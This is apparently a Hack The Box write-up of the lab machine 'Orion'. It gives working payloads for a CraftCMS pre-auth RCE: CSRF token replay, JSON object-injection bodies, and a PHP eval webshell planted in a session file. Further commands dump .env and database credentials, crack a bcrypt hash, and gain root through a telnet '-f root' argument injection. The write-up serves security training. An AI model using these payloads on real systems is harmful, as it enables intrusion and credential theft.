HTB Orion — Writeup
Orion is rated "Very Easy" on Hack The Box, but the path to root turned into a genuinely useful debugging exercise — less about the exploit chain itself and more about what happens when your tooling fights you. This is a writeup of my own run at it, including the parts that didn't go according to plan.
Recon
Standard start:
nmap -sCV 10.129.69.96
Two ports: 22 (OpenSSH 8.9p1) and 80 (nginx 1.18.0), redirecting to orion.htb.
echo "10.129.69.96 orion.htb" | sudo tee -a /etc/hosts
The site was a telecom company page with "Powered by CraftCMS" in the footer. A quick directory fuzz confirmed /admin → /admin/login, and the login page leaked the exact CraftCMS version: 5.6.16.
That version is vulnerable to CVE-2025-32432 — an unauthenticated RCE in Craft's image transform endpoint, caused by Yii's object-configuration system trusting attacker-controlled JSON to decide which PHP class gets instantiated.
Manual CSRF Bypass (the interesting part)
The generate-transform action is CSRF-protected, so before touching the RCE I wanted to prove the bypass by hand rather than just firing Metasploit at it.
Craft/Yii ties CSRF validation to session state, so you need three things from the same session:
- CraftSessionId cookie
- CRAFT_CSRF_TOKEN cookie (Yii's server-side reference)
- the actual csrfTokenValue, embedded in the login page's HTML/JS
curl -s -c cookies.txt http://orion.htb/admin/login -o login.html
grep -o 'csrfTokenValue[^,]*' login.html
cat cookies.txt
With those in hand, I built the exploit payload. Using GuzzleHttp\Psr7\FnStream with _fn_close: phpinfo, its destructor calls phpinfo() when the object is torn down:
{
"assetId": 1,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
curl -s -b cookies.txt \
-H "X-CSRF-Token: <csrfTokenValue>" \
-H "Content-Type: application/json" \
-X POST "http://orion.htb/index.php?p=actions/assets/generate-transform" \
-d @payload.json -o response.html -w "HTTP %{http_code}\n"
grep -i "PHP Version" response.html
PHP Version 8.2.30 came back. CSRF bypassed, arbitrary function execution confirmed.
The Reverse Shell That Wouldn't Come Home
With the vuln confirmed, I reached for Metasploit's exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 module. First problem: it couldn't retrieve the session/CSRF page at all. Turned out the module doesn't set VHOST, so it was hitting nginx with Host: instead of Host: orion.htb. Setting VHOST orion.htb fixed that immediately.
Second problem was worse: the module got past the CSRF check, injected the stub — and then reported "no session was created," repeatedly. I ran tcpdump on tun0 during a retry and confirmed the target really was sending SYN packets to my listener. iptables counters showed packets being accepted. ss -tlnp confirmed a process was bound and listening on the exact IP:port. Every individual piece checked out — and yet no SYN-ACK ever went back.
I never fully root-caused that. Best guess: the module's built-in handler tears itself down faster than the target's connect-back completes. Rather than keep burning time on it, I pivoted to getting command execution without needing an inbound connection.
Manual RCE via Session Poisoning
Step 1. Poison a PHP session file with a webshell:
curl -g -s -c webshell_cookies.txt \
"http://orion.htb/index.php?p=admin/dashboard&a=<?=eval(\$_GET['cmd']);die()?>" \
-o /dev/null -D -
Note: -g stops curl treating [] in $_GET['cmd'] as glob syntax.
Step 2. Trigger via CSRF-bypass endpoint, instantiating yii\rbac\PhpManager with itemFile pointed at the poisoned session (init() calls require() on that path):
{
"assetId": 1,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [{"itemFile": "/var/lib/php/sessions/sess_<id>"}]
}
}
}
curl -g -s -b cookies.txt \
-H "X-CSRF-Token: <token>" -H "Content-Type: application/json" \
-X POST 'http://orion.htb/index.php?p=actions/assets/generate-transform&cmd=system("id");' \
-d @payload2.json -o response.html
Note: cmd must be a PHP statement, not a raw shell command.
Note: curl rejects literal spaces in URLs — use %20 or base64-encode complex commands.
Output: uid=33(www-data) gid=33(www-data). Full RCE, no listener required.
Credential Harvesting
Craft's .env is world-readable to www-data:
# cmd=system("cat%20/var/www/html/craft/.env");
# → CRAFT_DB_USER=root, CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
MySQL bound to 127.0.0.1 only — queried through RCE, base64-encoded to sidestep quoting headaches:
B64=$(base64 -w0 <<< "system('mysql -u root -pSuperSecureCraft123Pass! orion -e \"select username, email, password from users;\" 2>&1');" | sed 's/+/%2B/g')
curl -g -s -b cookies.txt -H "X-CSRF-Token: <token>" -H "Content-Type: application/json" \
-X POST "http://orion.htb/index.php?p=actions/assets/generate-transform&cmd=eval(base64_decode('$B64'));" \
-d @payload2.json -o response.html
Got bcrypt hash for adam@orion.htb.
Cracking — Plan A Failed
hashcat -m 3200 ...
# ERROR: no OpenCL device (clinfo showed rusticl, zero devices)
Switched to John:
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# cracked in ~19s
Password reuse → SSH as adam.
Privilege Escalation: CVE-2026-24061
netstat -tulnp # telnet on 127.0.0.1:23
telnet --version # GNU inetutils 2.7
USER env var passed unsanitized to login(1). -f root skips authentication:
USER="-f root" telnet -a 127.0.0.1
Instant root shell.
Takeaways
- CSRF tokens are session-bound, not a magic wall — correctly replaying the cookie/token pairing is enough to bypass them for testing.
- Object-injection RCE via config-driven instantiation (Yii's __class mechanism) is a pattern worth recognizing beyond Craft.
- .env files and PHP session storage are attack surface — session files writable by the web server + require()-able = code execution primitive.
- Tooling failures are data too. Confirming the firewall/socket layer wasn't the problem (tcpdump + iptables + ss) was useful diagnostic work even when I couldn't fully root-cause the issue.
- Internal-only daemons are still root paths once you have any foothold.
Flags
Flags redacted per standard practice for retired-box writeups.
Top comments (0)